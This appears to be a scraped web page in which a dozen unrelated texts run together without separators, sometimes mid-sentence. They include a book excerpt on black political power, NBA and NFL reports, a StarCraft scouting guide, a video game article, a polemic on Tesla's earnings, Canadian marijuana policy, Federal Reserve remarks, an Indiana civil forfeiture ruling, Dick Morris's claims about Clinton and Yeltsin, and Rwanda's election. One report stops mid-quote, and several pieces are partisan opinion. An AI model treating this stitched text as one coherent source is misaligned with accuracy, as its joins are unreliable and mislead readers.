In a 1991 book, social scientist Gary Orfield and his co-author, journalist Carole Ashkinaze, assessed the progress of blacks in the 1970s and ’80s following the sharp increase in black officeholders. The thinking, then and now, was that the problems of the cities “were basically the result of the racism of white officials and that many could be solved by black mayors, school superintendents, policemen and teachers who were displacing white ones.” The expectation, they added, “was that black political and education leaders would be able to make large moves toward racial equity simply by devising policies and practices reflecting their understanding of the background and needs of black people.”
But the integration of these institutions proved to be insufficient. “Many blacks have reached positions of local power, such as mayor, county commission chairman or superintendent of schools, positions undreamed of 30 years ago,” they wrote. Their findings, however, showed that “these achievements do not necessarily produce success for blacks as a whole.” The empirical evidence, they said, “indicates that there may be little relationship between the success of local black leaders and the opportunities of typical black families.”
When Michael Brown was shot dead after assaulting a police officer in Ferguson, Mo., in 2014, a large fuss was made over the racial composition of the police department and city leaders, which supposedly explained the subsequent civil unrest.
A Justice Department report responding to the incident noted that although the city’s population was 67 percent black, just four of its 54 police officers fit that description.
“While a diverse police department does not guarantee a constitutional one, it is nonetheless critically important for law enforcement agencies, and the Ferguson Police Department in particular, to strive for broad diversity among officers and civilian staff,” said Justice.
But if racial diversity among law enforcement and city officials is so “critically important,” what explains the rioting in Baltimore the following year after a black suspect there died in police custody?
At the time, 63 percent of Baltimore’s residents and 40 percent of its police officers were black. The Baltimore police commissioner also was black, along with the mayor and a majority of the city council.
Contentious relations between the police and ghetto communities are driven mainly by high crime rates in those areas, something that the political left doesn’t like to acknowledge. The sharp rise in violent crime in our inner cities coincides with the increase of black leaders in many of those very same cities, which makes it hard to argue that racist or indifferent authorities are to blame.
What can be said of Baltimore is also true of Cleveland, Detroit, Philadelphia, Atlanta, New Orleans and Washington, where black mayors and police chiefs and city councilmen and school superintendents have held sway for decades.
In her 1995 book, “Facing Up to the American Dream,” political scientist Jennifer Hochschild examined data from the late 1950s to the early 1990s — an era that covers not only growing black political clout but also the implementation of the War on Poverty and two full decades of affirmative action policies in hiring and college admissions.
Hochschild reported that between 1959 and 1992, poverty fell from 55 percent to 33 percent for blacks and from 18 percent to 12 percent for whites, which means that the “ratio of black to white poverty has remained at 3 — hardly a victory in the war on racially disproportionate poverty.”
The absolute numbers, she added, “tell the same story: there are now about 4 million fewer poor whites than 30 years ago, but 686,000 more poor blacks.”
Germans, Jews, Italians and Asians saw economic gains precede political gains in America.
Moreover, low-income blacks lost ground to low-income whites over the same period. Between 1967 and 1992, incomes for the poorest fifth of blacks declined at more than double the rate of comparable whites.
This history should have served to temper expectations for the first black president. Without taking away anything from Barack Obama’s historic accomplishment, or the country’s widespread sense of pride in the racial progress that his election symbolized, the reality is that there was little reason to believe that a black president was the answer to racial inequities or the problems of the black poor.
The proliferation of black politicians in recent decades — which now includes a twice-elected black president — has done little to narrow racial gaps in employment, income, homeownership, academic achievement and other areas.
Most groups in America and elsewhere who have risen economically have done so with little or no political influence, and groups that have enjoyed early political success have tended to rise more slowly.
“Group cohesion, expressed in political pressure and bloc voting, is often regarded as axiomatically the most effective method of promoting group progress,” explains the economist Thomas Sowell.
But historically, “the relationship between political success and economic success has been more nearly inverse than direct.”
Germans, Jews, Italians and Asians are among those who saw economic gains precede political gains in America.
Similarly, the ethnic Chinese in Southeast Asia, the English in Argentina and Jews in Britain, among many other examples, all prospered economically while mostly shunning politics.
A counterexample is the Irish, whose rise from poverty was especially slow even though Irish-run political organizations in places like Boston and Philadelphia dominated local government. The Irish had more political success than any other ethnic group historically, according to Sowell. “Yet the Irish were the slowest rising of all European immigrants to America. The wealth and power of a relatively few Irish political bosses had little impact on the progress of masses of Irish Americans.”
Even if a group has the ability to wield political influence, they don’t always choose to do so.
German immigrants to the US in colonial times were not lacking in numbers. In Pennsylvania they were one-third of the population, a situation that was not lost on non-Germans. “Why should Pennsylvania, founded by the English, become a colony of aliens, who will shorty become so numerous as to Germanize us instead of us Anglifying them?” wrote Benjamin Franklin in 1751.
Nevertheless, Germans, many of whom arrived as indentured servants and focused initially on paying off the cost of their voyage, had other priorities and were well known for avoiding politics. Germans began entering politics only after they had already risen economically.
Viewed against this history, many blacks were expecting Obama’s presidency to deliver more prosperity than political clout tends to deliver for a group — in the US or anywhere else.
The black experience in America is of course different from the Irish experience, which in turn is different from the Chinese or German or Jewish experience. Indeed, we can’t even generalize about all blacks in the US, since the experience of black natives is different from the experience of black immigrants from the Caribbean and Africa. But that doesn’t mean group cultural traits that show patterns of success or failure should be ignored.
Even if we can’t make perfect apples-to-apples comparisons, it doesn’t mean we can’t make any comparisons or draw any conclusions. Many different racial and ethnic minority groups have experienced various degrees of hardship in the US and in other countries all over the world. How those groups have dealt with those circumstances is something to study closely and draw lessons from going forward — even if the only lesson is to manage expectations.
One of the clear lessons from this history is that human capital has proven to be far more important than political capital in getting ahead. And that reality helps to explain why blacks fared the way they did not only in the Obama era but also in the preceding decades.
Obama’s election was the end product of a civil-rights strategy that prioritized political power to advance blacks, and eight years later we once again learned the limitations of that strategy.
Reprinted with permission from “False Black Power” by Jason L. Riley (Templeton Press), 2017.TAI’s Key Legislature… The game’s defining moment, its critical event, the wildest basketball thing you ever saw, or just stuff that happened. Wizards vs. Heat, Regular Season Game 41, Jan. 20, 2016, by Adam Rubin (@LedellsPlace) from the Verizon Center, D.C.
This Wall-to-Gortat setup to end the 1st half was nice. #Wizards https://t.co/WxSo9M2F4Y — Kyle Weidie (@Truth_About_It) January 21, 2016
Charles Barkley often talks about “schedule wins”—meaning the regular season is a grind and when a team is playing its third game in four nights on a cold and snowy evening in late January without two of its best players (Dwyane Wade and Goran Dragic) and loses two more top players during the game (Hassan Whiteside and Luol Deng), then sometimes a team takes the night off. This game felt like one of those nights.
Not to take anything away from Washington—who played aggressive defense (forcing 20 turnovers), shot well from the field (52.3% FG), and put its foot on the gas pedal in the fourth quarter (keeping the lead at 17 points or more for the entire final period)—but this Heat team just didn’t have it in them.
Level of intensity in this #WizHeat game is like a preseason game, but not an ordinary preseason game, like when they play Israeli team. — Ledell's Place (@LedellsPlace) January 21, 2016
After the game Chris Bosh spoke sullenly about the current state of his injury-ravaged team: “With our situation, we are gonna drop [in the Eastern Conference standings], we know that. It just can’t be too far. The way things are going, I just want to get to the All-Star break and then regroup and talk about everything else after that.”
Doesn’t sound like a team that is mentally prepared to grind out wins on the road when four of their top players are wearing street clothes or injured during a game.
Randy Wittman, for his part, wanted no talk about Miami’s injuries. When asked about playing against a shorthanded team, Randy quipped, “Like us? I don’t want to hear about anybody else’s problems. We have enough of our own problems.”
The Great Nene-Gortat Debate.
For the second straight game, Nene and Gortat played meaningful minutes together. Against Portland it was eight minutes and against Miami it was a whopping 16. Wittman commented after the game that he may continue to play the pair together based on matchups.
If you only looked at the final score, you might assume that the front court reunion was successful. If you just watched the first quarter when Washington built a double-digit lead behind the front court stylings of Gortat and Nene, who combined for 13 of the team’s 26 points on a wide variety of low post moves, you might feel the same way.
But the final numbers tell a different story. Washington won the game by 19 points, yet the Wizards were minus-3 during the 16 minutes Nene and Gortat spent on the floor together. Meanwhile, Jared Dudley and Gortat were plus-18 in the 16 minutes they played together.
Having said all that, the front court debate is really a red herring. Wittman has given no indication that he intends to revert to the ways of yesterday, and the lineups of the past two games have been inspired more by injuries (and matchups) than anything else. The good news is that Nene is available to play meaningful minutes and he is back to his regular bruising self.
John Wall Was Upset.
You may have noticed John Wall yelling at his teammates (mostly Gortat) a lot during the game. I asked Jared Dudley what that was about. Dudley explained that since Miami did not have its starting guards, Washington picked up their ball pressure full court. Because of that, Miami broke the play open a couple times and Wall was frustrated when the help defender was late.
Wall mentioned the breakdowns in his post-game interview (“Sometimes we had a little bit of lapses.”), but he did not seem too bothered. It appears to be water under the bridge.
Young Kelly Oubre is Learning Fast.
There was a time earlier in the season when Oubre could not play more than a couple minutes without picking up two fouls. That is not so much of a problem when you are only playing 5-to-10 minutes off the bench, but it becomes a concern when you are playing starter’s minutes.
Wittman talked to Oubre a few weeks ago about the need to play more conservatively when he is in the starting lineup and Oubre took it to heart. I asked Kelly after the game about his defensive evolution:
“You got to be smart. You don’t want to put a team in the penalty. It’s a lot of negative things that come with getting early fouls—one of them being me sitting on the bench. So I was just trying to stay on the court a little longer. If I get two quick ones then I have to come out.”
Oubre said he has not relied on any particular advice from his teammates.
“I’ve just been watching around the league, watching how the refs call the game, and kind of learning as I go.”
One specific area of improvement has been how he contests jumpers. Early in the season he would slap at the ball on the release (often hitting the shooters wrist). Not anymore.
“Just got to go straight up. Don’t try to touch them, no contact, because the refs are looking for that now. Just kind of go straight up and straight down.”
Party Like It’s 2002.
This yesteryear matchup happening before our eyes. pic.twitter.com/BhIK9zwLSQ — Ben Standig (@BenStandig) January 21, 2016
There was an entertaining stretch in the second quarter when Nene and Amar’e Stoudemire went at each other on multiple possessions. I spoke with Amar’e after the game about their vintage showdown:
“It was good, man. We go back since draft day 2002. We are the last of our class, me and Nene, Drew Gooden and those guys. It felt good to compete. It’s a good battle. It’s always about competing at a high level. When you get a chance to compete you have to take advantage of that opportunity.”
Stoudemire finished with a season-high 11 points on 5-for-6 shooting in 20 minutes, and Nene countered with 16 points on 8-for-15 shooting in 26 minutes.
Winter is Coming.
WUSA9’s weatherman Topper Shutt was booed when his pre-recorded forecast shown on the Jumbotron predicted 16-to-30 inches of snow on Saturday. The impending winter storm was the main topic of discussion among team personnel and media after the game. There was speculation as to the status of Saturday night’s game versus the Utah Jazz, which is currently scheduled to tip-off right in the middle of the forecasted historic storm.
Dwyane Wade, who missed the game with shoulder soreness, wore a very elaborately knitted wool sweater to protect him from the very un-Miami-like weather.Tony Gutierrez/Associated Press
The NFL is still deciding how to handle Dallas Cowboys running back Ezekiel Elliott for his off-field incidents, but ESPN's Adam Schefter suggested he could receive some type of discipline.
Schefter broke down the situation on Sirius XM Fantasy Sports.
"This is a situation that has gone back and forth so many times," he explained, via Jimmy Kempski of PhillyVoice.com. "I've spoken to some people within the league who, during the course of the offseason, got a sense that some form of discipline could happen."
Elliott remains under investigation by the NFL for a domestic violence incident that allegedly occurred last July.
In June, Tom Pelissero of USA Today reported the NFL's probe was nearing its end, but the league remains careful considering its slew of recent domestic violence cases, especially with a high-profile star involved.
Several other incidents involving Elliott made headlines during his rookie season, causing him to "stay out of the way" during the offseason, per Kate Hairopoulos of the Dallas Morning News.
While these cases could force the NFL to take action, Schefter noted there is still uncertainty whether the league will do anything. An expected decision was pushed back from last Friday, according to Schefter.
"Nothing may well happen there, but something could happen there," he explained. " |
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企画・制作／スタジオベントスタッフ 運営／スプロケ ©2017 AAベーマガⅡ実行委員会As I had mentioned previously, I will do some guides for beginners. Scouting seems like a good topic as it has often been misunderstood. This post covers the basics, and does not go in details for match up specific scouting.
Unlike chess, Starcraft is a game of imperfect information. Gathering information of your opponent and hiding your own information from him or her play a critical part to the game. I won’t talk about how to trick your opponent by giving misleading information, but rather focus on the basics of scouting your opponent.
Deduction
Quite often I see “help-me” threads on forums regarding how to defend against certain timing or build etc., and the usual answer is along the line of “you need to scout it”. Indeed, knowing is half the battle. However, many have misunderstood the logic for scouting. It is not about seeing what opponent is doing, but rather seeing what opponent cannot do. In another words, it is an art of deduction.
“Eliminate all other factors, and the one which remains must be the truth.” – Sherlock Holmes (The Sign of Four)
For example, in TvZ, you did not see a Hatchery at the natural when you first scout. You can deduce that Zerg is unlikely to have gone for a Hatchery first build (assuming no Hatchery at your base or natural). Next, think about what Zerg can do without expanding at the natural early on. Let say, you scouted the main and saw the Spawning Pool and gas taken. Subsequently, you can deduce that Zerg did not hide a Hatchery because there would not have been enough mineral for the Spawning Pool and the Extractor. There can be three main types of one base play: early Roach, one-base Baneling burst and Speedling into expand. Try to deduce further, by looking at the Spawning Pool, is Zergling speed upgrading? This should tell you what opponent cannot do. The one build that is left is the answer.
Another example, you often see Terran pro-players position six Marines at the mineral line against Protoss even when they do not see a Stargate. This is because the information gathered (e.g., two Assiminator) does not allow you to cross out the possibility of a Stargate opening. If you only prepare for an Oracle after you scouted the Stargate, you are in trouble. In line with this thought, Terran pro-players will move the Marines away from the mineral line after a certain period of time. This is again seems like an appropriate reaction based on deduction. If Protoss made an Oracle, it would have arrived in my base now. It did not, so I deduce that opponent did not open up with Stargate into Oracle. With that being said, one’s overconfidence in deduction can be a weakness. For example, MC likes to make an Oracle, and does not send it to the Terran base. He only sends it in after the usual Oracle time is over. In fact, you can argue that the Terran did not exactly use deduction, but presumed that an Oracle will be sent over immediately after a standard Stargate opening. Deduction is an art with depth.
Have a purpose
You need to have a purpose when you scout. This is extremely important.
I have played against many relatively newbie friends who always make this mistake. They will scan my base randomly, and I would ask why they did that. Their answer was simply “I want to see what you are doing.” I then asked, “so what information did you gather?” The answer is nothing. You need to be looking for something when you scout.
Plan your scouting by having an aim with each scout. For example, at 7:00 in TvP, you scout the natural of the Protoss. The aim is to check the Assiminator at the natural. If they are not taken, then you can deduce that Protoss is not tech-ing or upgrading. So expect an attacking coming soon, while checking for a third base. Another example, in TvT, you can choose to do a scan with your second 50 energy because that is the time the buildings would have been down for any build. The aim would have been to check if there are two Refineries taken, and whether there is a Starport. The add-on should allow you to deduce away some builds.
All game long
You do not only scout at the opening phase. Scouting is an all game long thing. Although the opening phase scout gives you more information than any other phase of the game, you should keep scouting whenever you have gaps in your information. Scouting is not limited to deducing opponent’s opening and build order. It includes army positioning and intention. For instance, you move a Scv to Protoss’ natural at 7:00 and you see no units. Then Protoss may probably have the units at your side of the map and is warping in offensively.
To make things easier, it is good to have a pre-planned scouting timing for each match up. For example, in TvP, I have three main scout timing. The early Scv scout, 5:00 and 7:00. I will do a post regarding TvP scouting in the near future.
First worker scout
I have been asked when you should send your first Scv scout. It depends on the match up, map and build.
If the map is a two player map, you should scout at 14 or 15 supply against Protoss and Terran. Scv scouting is optional against Zerg on a two player map, if you do, 15 or 16 is fine. Against Protoss, a 14 Scv scout gives you the opportunity to put down the Engineering Bay at the natural to block the Nexus. Against Terran, 14 or 15 makes a big difference on a two player map. Opponent’s first Marine (if he did a 12 Barracks) can deny your 15 scout Scv from getting into the base. Scouting the gas timing is extremely important in TvT, as it allows you to deduce the opening.
On a multiple player map, I usually do a 15 for all match up just for spawning position. Personal preference.
Scouting proxy
I’m referring to the early game cheese proxy, like two Barracks or two Gateways. Your first Scv scout can look behind the natural and then go straight to opponent’s base. It is not effective to cover every plausible proxy location near your base. It takes much time and luck to find the proxy. By the deduction logic, you can never deduce that the opponent did not do a proxy because you did not scout it. At best you can deduce that the opponent did not put down the proxy at the scouted locations.
As you send the Scv to opponent’s base at a normal time, you should look for the standard structures. Let say, there is no Gateway, then you can deduce that there is likely to be a proxy even though you have not scouted the proxy itself. At that point, the location of the proxy is not important, because you react similarly. Therefore, it is better to scout opponent’s base to “look for proxy” than literally sending a worker around to look for it. The reason to check the natural is that it takes little time away from the main scouting task to spot a plausible location. Further, if that is TvT, you can try to kill the building Scv.Crysis fans rest assured. While Crysis 3 will have some visual goodies exclusive to only high-end PC users, Crytek hasn’t forgotten about their console audience.
Recently, Crytek’s Rasmus Højengaard Spoke to Spong about the graphical capabilities of Crysis 3 on both PC and consoles and also touched on the PC community’s plead to have Crytek consider keeping the Crysis series exclusive to the PC.
As he jokingly put it, “PC players, fundamentally only want Crysis to be on PC, right? And, you know, that’s kind of understandable when you consider how the original game – and even Crytek itself – started out.” While the first Crysis was originally a PC exclusive, it did eventually make its way to Xbox Live the PlayStation Network last year, the same year that saw a multi-platform release of Crysis 2.
Højengaard assures PC gamers, “…we’re definitely pushing this game a lot from a visual standpoint, and for sure there’s going to be visual goodies in it that you can only get if you have a super-high-end PC.” However, “at the same time, we want to ensure if you don’t have a super-high-end PC, the game will still look amazing.”
Though the team has stated their intent to make Crysis 3 “the best looking game that’s ever been made,” Crytek hasn’t forgotten about consoles. Højengaard stressed, “…we want to make sure the experience is not different from platform to platform.”
Expect Crysis 3 to drop within the first quarter of 2013 as confirmed by a recent Electronic Arts financial report.
In case you missed the latest Crysis 3 gameplay trailer, make sure to check it out right here!
Thanks, VG247Perhaps the only company's results we have more fun spreading that Netflix, is Tesla's for the simple reason that the company has managed to convert GAAP reality into a singularity of such non-GAAP bullshit, which is no longer merely laughable but is solidly inside the ridiculous, if not criminal (of course, nobody cares as long as the stock keeps rising but the second it plunges, watch those lawsuits soar), that none other company can even come close.
Case in point: revenues. Here, somehow, in the traditionally strong Q4 period, Tesla reported $1.2 billion in revenue. You know, plain vanilla GAAP revenue. Here's the problem: non-GAAP revenue - yes, TSLA has non-GAAP revenue - was a whopping $1.7 billion, and the delta between GAAP and non-GAAP a ludicrous $532 million, or more than 40% of actual sales.
But while revenue, both GAAP and non-GAAP at least rose in Q4, things turned downright bizarre for the company's actual earnings per share, which we can't even comment on, so we'll just show them.
And where things get utterly delightful is that while previously the company would disclose it's actual free cash flows, which we used to track as the best indicator of what is really going on at the company, that is no longer feasible for one simple reason: starting this quarter, the company's Free Cash Flow disclosure, as seen below from its Q3 results...
... it no longer lays out the actual Free Cash Flow!
Luckily, we can back into the number using the old methodology and here is the anwer: the company has burned $3.2 billion in cash in the past 2 years! That probably explains why Elon Musk is now looking for taxpayer subsidies in China.
We also know one more thing: total cash declined from over $1.4 billion in Q3 to under $1.2 billion in Q4.This means TSLA will have to sell equity in the very near future.
So despite this clear, if successful, attempt to treat investors like idiots and aggressively distract them from what matters, why is TSLA's stock surging after hours? Because it promised that this time it will be different, and it will actually sell many more cars in the future:
we plan to deliver 80,000 to 90,000 new Model S and Model X vehicles in 2016.
It also added that as the world careens into a recession, and as only subprime loans drive marginal purchases by the OEMs, Tesla expects its "average vehicle transaction price to increase slightly during 2016, as Model X grows to become a larger share of our deliveries throughout the year. In Q1, we plan to grow deliveries 60% year on year to approximately 16,000 vehicles, and we plan to directly lease about the same percentage of cars as we did in Q4."
How it plans to achieve that with markets plunging and wiping out trillions in wealth of its targeted customer base? Nobody knows, but since the number is higher than the expected 76,200 the short squeeze can be unleashed. If only for a few hours.Manitoba Justice Minister Heather Stefanson says she welcomes a report to the federal government on legalizing marijuana, but that doesn't mean the Progressive Conservative government has an opinion on it yet.
A task force has made 80 recommendations to the Liberal government on how to go forward with the legalization of pot, including suggestions about who can consume it, where it can be purchased and how it's packaged.
In a hastily put together news conference, Stefanson admitted the province was just starting to review the recommendations and is looking to Ottawa to be more specific about its plans for legislation.
"We need to focus on ensuring there is direction. The next stage on this is from the federal government. We need to get some clarity on that," Stefanson said.
Justice Minister Heather Stefanson says it's too soon to answer where, how and who should sell legalized marijuana. (CBC News )
Stefanson said there are many issues that are unresolved, from potency to packaging and where pot might be sold, and she is hoping the federal government doesn't rush it.
Manitoba to Ottawa on pot: Slow down
"We are hoping that they don't move forward too quickly in terms of introducing legislation on this until we get clarity on certain matters, especially when it comes to things like impaired driving and so on," Stefanson said.
That position is what Premier Brian Pallister has spoken about publicly in recent weeks.
The province has established an internal task force made up of several government departments, including Health, Justice, Agriculture and Crown Services, as well as Manitoba Liquor and Lotteries, Stefanson said. The government will look closely at both the federal recommendations and what's been learned by officials and stakeholders in Manitoba, she said.
"We are going to get this right. This is a very important issue facing Manitobans and indeed Canadians, so we are going to review those recommendations. We will establish a distribution mechanism here. We will work with a task force internally here, and we will work with stakeholders across the province."
Medical marijuana supplier to government: speed up
Mathew Monasterski, who co-owns the Weeds, Glass and Gifts store in the Exchange District, was surprised and pleased by the recommendations made to the federal government and hopes the legislation is passed quickly.
Mathew Monasterski of Weeds Glass and Gifts says his company is ready to start selling marijuana as soon as the legislation is passed. (CBC News )
"Pretty actually excited because I wasn't expecting the report to come out the way it did. I was expecting a lot of restriction. I was expecting a lot of recommendations to restrict things to corporations and keep it out of entrepreneurs' hands," Monasterski said.
Monasterski's store provides customers with medical marijuana through its distribution centre in Vancouver. The product is mailed directly to clients
As soon as marijuana is legalized, Monasterski wants his outlet to sell it to recreational users.
His company absolutely will not sell to children, he said.
"We will not allow minors in our establishments and we will never sell to a minor. We go through a rigorous identification process to make sure they are who they are and to make sure they are of age to consume," Monasterski said.
There is some urgency to get the legislation on the books, he said.
"Every day and every minute, there is another Canadian citizen arrested for cannabis possession, cannabis use or cannabis sale, and it just needs to stop. Cannabis is nothing that needs to be a crime that should be ruining our Canadian citizens' lives," Monasterski said.
Officials in the previous NDP government leaned toward selling marijuana using staff trained to recognize intoxicated people, prohibit underage use and inform customers of the risks.
Stefanson could not be specific on the provincial government's position on whether it would restrict the sale of marijuana near schools or whether legalized pot should be sold in generic packaging.
The most important goals for the province are to protect children and youth from exposure to the product, minimize harm to users and keep impaired drivers off the roads, she said.
Manitoba also needs to work with the other provinces to get the rules harmonized as much as possible, Stefanson said.An eagle tops the U.S. Federal Reserve building's facade in Washington, July 31, 2013. REUTERS/Jonathan Ernst
ST.LOUIS (Reuters) - The U.S. central bank needs to change the way it communicates its view on the future path of interest rates, a Federal Reserve official said on Tuesday, joining others inside the Fed who are calling for an overhaul of its policy statement.
“I would like to get the commitment to move to something more data dependent. I think that’s really the way to go,” Bullard said in remarks to reporters on the sidelines of a community banking conference here.
Bullard said that he did support, however, the September policy statement, where the Fed kept in place its guidance that it will consider lifting rates only until a “considerable time” after it ends its bond buying program.
“I thought it was premature to remove ‘considerable time’ from the statement because QE hasn’t ended yet,” Bullard said, referring to the Fed’s bond buying program, formally known as quantative easing. The program is expected to end next month.
“A more natural juncture would probably be the October meeting,” he said.
Bullard stuck with his view that the Fed should move to lift interest rates late in the first quarter of 2015, citing strong economic data and a low unemployment rate. Bullard said that if you take out the first quarter, the U.S. economy is growing at a roughly 4 percent rate.In a major win for private property rights, a federal judge ruled that Indiana can no longer seize vehicles under its controversial civil forfeiture laws, which allow police to confiscate property without filing criminal charges. Judge Jane Magnus-Stinson ruled that Indiana's laws were unconstitutional because they failed to provide a timely hearing for the property owner to contest the seizure.
The decision comes just days after Hoosier lawmakers held a summer study committee to discuss forfeiture reform, and less than a month after U.S. Attorney General Jeff Sessions announced a new policy to expand police seizures nationwide.
The case began last September when an officer with the Indianapolis Metropolitan Police Department pulled over Leroy Washington and found a small amount of cannabis. Police charged Washington with dealing marijuana and seized his car.
But Washington fought back. With help from Jeff Cardella, a criminal defense attorney and law professor at Indiana University, he filed a federal class-action lawsuit last November on behalf of other owners whose cars were held by law enforcement in Indianapolis. Between November 2016 and February 2017, those agencies seized at least 169 vehicles, or 11 cars per week on average. After he filed his lawsuit, Washington was able to recover his car, though he was still able to represent the class of owners.
The lawsuit claimed that Indiana’s forfeiture laws violated the car owners’ right to due process, as guaranteed by the Fifth and Fourteenth Amendments. In Indiana, once property is seized, law enforcement can take up to 180 days to file a forfeiture complaint, i.e. a lawsuit to permanently confiscate the seized property. If the owner demands their car back, the deadline drops to 90 days from the date of the demand.
Even worse, the property owner cannot challenge the seizure during that months-long hold period. That is because, under state law, seized property is “not subject to replevin,” a process that would allow the owners to regain wrongfully taken property while awaiting trial. In other words, Hoosiers would have to wait up to six months before they could even challenge a seizure in court. That even includes innocent, third-party owners (typically parents and spouses) who did not know or consent to their property being used in any criminal activity.
As Judge Magnus-Stinson noted, losing one’s car for months on end “could cause significant hardship:”
During those months, if the owner has secured financing to purchase the vehicle, he is still required to make payments on that loan, lest he risk foreclosure and repossession. He is also required, of course, to make other arrangements for his transportation needs, which may include fundamental life activities such as transit to a job or school, visits to health care professionals, and caretaking for children or other family members.
In order to prevent “erroneous deprivation” and to safeguard due process, property owners must be “provided with some sort of mechanism through which to challenge whether continued deprivation is justifiable.” As the U.S. Supreme Court noted almost 25 years ago, “our precedents establish the general rule that individuals must receive notice and an opportunity to be heard before the Government deprives them of property.”
But Indiana’s forfeiture laws ban replevin and do not allow any other “opportunity for interim relief," which raises grave due process concerns. According to Judge Magnus-Stinson, “there is no judicial determination of probable cause for the seizure,” which means that “the only process that an individual receives prior to a forfeiture hearing is a law enforcement officer’s determination that probable cause exists for an arrest.” That is, by definition, a one-sided affair.
“Allowing for the seizure and retention of vehicles,” she wrote, “without providing an opportunity for an individual to challenge the pre-forfeiture deprivation [is] unconstitutional.”
In making her decision, Judge Magnus-Stinson relied heavily on Krimstock v. Kelly, where the U.S. Second Circuit Court of Appeals struck down New York City’s vehicle seizure laws as unconstitutional. Like in Indiana, New York City could detain cars for up to 25 days before beginning a forfeiture case.
In order to provide due process, then-Judge Sonia Sotomayor wrote that the property owners must be given “a prompt post-seizure, pre-judgment hearing before a neutral judicial or administrative officer,” where they could challenge “the legitimacy of the City’s retention of the vehicles while those proceedings are conducted.” As a result, the city created a new Krimstock hearing process, named after the case.
Although Krimstock set an important precedent to protect due process, abusive seizures still run rampant in New York City. According to Anca Grigore, a staff attorney at the Brooklyn Defender Services, New Yorkers who navigate the Krimstock hearing process face “coercive dynamics and burdensome procedures.”
To shine a light on these car seizures, the Brooklyn Defender Services recently obtained public records from the New York Police Department. In 2014, the NYPD seized more than 2,400 vehicles for civil forfeiture. Out of those seizures, 586 owners (less than one-quarter) requested a Krimstock hearing.
Yet only 15 Krimstock hearings were actually held, with just five owners successfully recovering their seized cars. And even then, that victory only meant that the owners could use their car before their forfeiture case actually went to trial, where their property could potentially be forfeited to the government.
For hundreds of other property owners in New York City, the only real option is to accept settlement agreements with the NYPD: Police agree to return a seized car (and drop charges, if any were filed) in exchange for a settlement fee (which can cost up to $3,000) and the owner waiving their right to sue law enforcement. No wonder Grigore blasted civil forfeiture as “extortion of the poor.”
With Hoosier law enforcement now blocked from detaining cars, Indiana lawmakers must now draft a new seizure law—and they should learn from the flawed Krimstock hearings.
Meanwhile, a separate lawsuit challenging a “profit-driven forfeiture program” in Indianapolis is still ongoing. Under the Indiana Constitution, “all forfeitures which may accrue” must be sent to the state’s Common School Fund. But thanks to a loophole created in 1980s, police and prosecutors can deduct “law enforcement costs,” allowing agencies to re-route millions in forfeiture money away from public schools and towards their own bottom line.
On behalf of forfeiture victims and concerned Hoosiers, the Institute for Justice filed a lawsuit last year in state court, claiming this “financing scheme” violates the Indiana Constitution. Notably, one of the reasons why Judge Magnus-Stinson ruled in favor of “robust procedural safeguards” was because “the government has a direct pecuniary interest in the outcome of the forfeiture proceeding.”
“Police and prosecutors should not be allowed to keep and spend what they forfeit,” said Sam Gedge, an IJ attorney representing the plaintiffs who are challenging Indiana’s policing-for-profit system. “That only creates a dangerous profit incentive to seize people’s property, often without regard to basic due-process principles.”Author, pundit and former Clinton adviser Dick Morris told Steve Malzberg on Newsmax TV that Clinton meddled in the ’96 Russian election.
Newsmax reported:
President Bill Clinton meddled in Russian affairs in the 1990s and helped Boris Yeltsin get elected to a second term, political analyst Dick Morris told Newsmax TV.
During an appearance on “America Talks Live” Thursday with host Steve Malzberg, Morris — who worked for Clinton during the 1996 presidential campaign — said the former president relied on him to help Yeltsin win.
“Hillary [Clinton] on Saturday gave a speech warning [Russian President Vladimir] Putin against interfering in the U.S. elections. The FBI has talked about foreign interference and Obama has warned about it,” Morris said. “This goes back to something that happened in 1996.
“When I worked for Clinton, Clinton called me and said, ‘I want to get Yeltsin elected as president of Russia against Gennady Zyuganov, who was the communist who was running against him. Putin was Zyuganov’s major backer.
“It became public that Clinton would meet with me every week. We would review the polling that was being done for Yeltsin that was being done by a colleague of mine, who was sending it to me every week. We, Clinton and I, would go through it and Bill would pick up the hotline and talk to Yeltsin and tell him what commercials to run, where to campaign, what positions to take. He basically became Yeltsin’s political consultant.
“I think that Putin resented that, hated it, thought that it was an inappropriate intervention by Bill Clinton and I think he’s determined to take his revenge out on Hillary Clinton.”Former guerrilla leader praised for bringing stability and growth after genocide but criticised as authoritarian wins third term
Paul Kagame, the controversial president of Rwanda, has won a landslide victory in the small African state’s election, securing a third term in office and extending his 17 years in power.
The result will surprise no one, inside or outside Rwanda.
Kagame, 59, has won international praise for the stability and economic development he has brought Rwanda since the 1994 genocide, when an estimated 800,000 people were killed, but he has also been accused of running an authoritarian, one-party state. Some have dismissed the polls as a sham.
‘Rwanda is like a pretty girl with a lot of makeup, but the inside is dark and dirty’ Read more
Friday’s election came after a constitutional amendment, which ended a two-term limit for presidents and theoretically permits Kagame to remain in power until 2034. The amendment was approved by 98% of voters.
In the final tally for Friday’s election, he won almost 99% of votes cast, said Kalisa Mbanda, chairman of the National Electoral Commission.
The board expects turnout in the east African country of 12 million people to have topped 90% in an election that fielded only a single opposition candidate, Frank Habineza, and an independent.
Habineza, a former journalist who leads the Green Democratic party, said last week the authorities in Rwanda were “starting to understand the opposition can play a role in running the country”.
“We are still treated as if we are enemies … but so far in this election no one in our party has been killed or imprisoned or harassed and that means at least some progress,” he said before a rally in the small southern town of Rango.
The election board disqualified another would-be opponent, Diane Rwigara, despite her insistence that she met all the requirements to run.
Rwanda presidential election – in pictures Read more
After results were announced, Kagame said he would work to sustain economic growth. Infant mortality and poverty levels have dropped rapidly in Rwanda in recent decades, while literacy rates and other indicators of development have soared. New roads have been built and an ambitious programme of investment launched. Kigali is perhaps the cleanest and most orderly African capital city.
“This is another seven years to take care of issues that affect Rwandans and ensure that we become real Rwandans who are [economically] developing,” he said in a speech broadcast live on television.
Kagame led rebel forces into Rwanda to end the 1994 genocide and went on to wage further wars in the region. He won the last election in 2010 with 93% of the vote, and said during this campaign that he again expected an outright victory.
Despite some discontent over joblessness and other issues, the president appears authentically popular in Rwanda, which has had some of the fastest economic growth rates in Africa and has become known for its stability in a deeply troubled region.
At a succession of rallies attended by large numbers of supporters from the ruling Rwandan Patriotic Front party, Kagame promised more schools, roads and clinics. Supporters at a rally in Burera in the north of the landlocked country said last week that they could not imagine another leader.
Reuters reported that voters celebrated the election result into the early hours of Saturday.
“Last night was fantastic. People kept coming in until my bar had more than 200 people. I usually get 100 on normal days. They were all celebrating and I left at 2am, but they were still dancing and more were coming,” said John Habimana, owner of the popular Roasty Bar in Kigali.
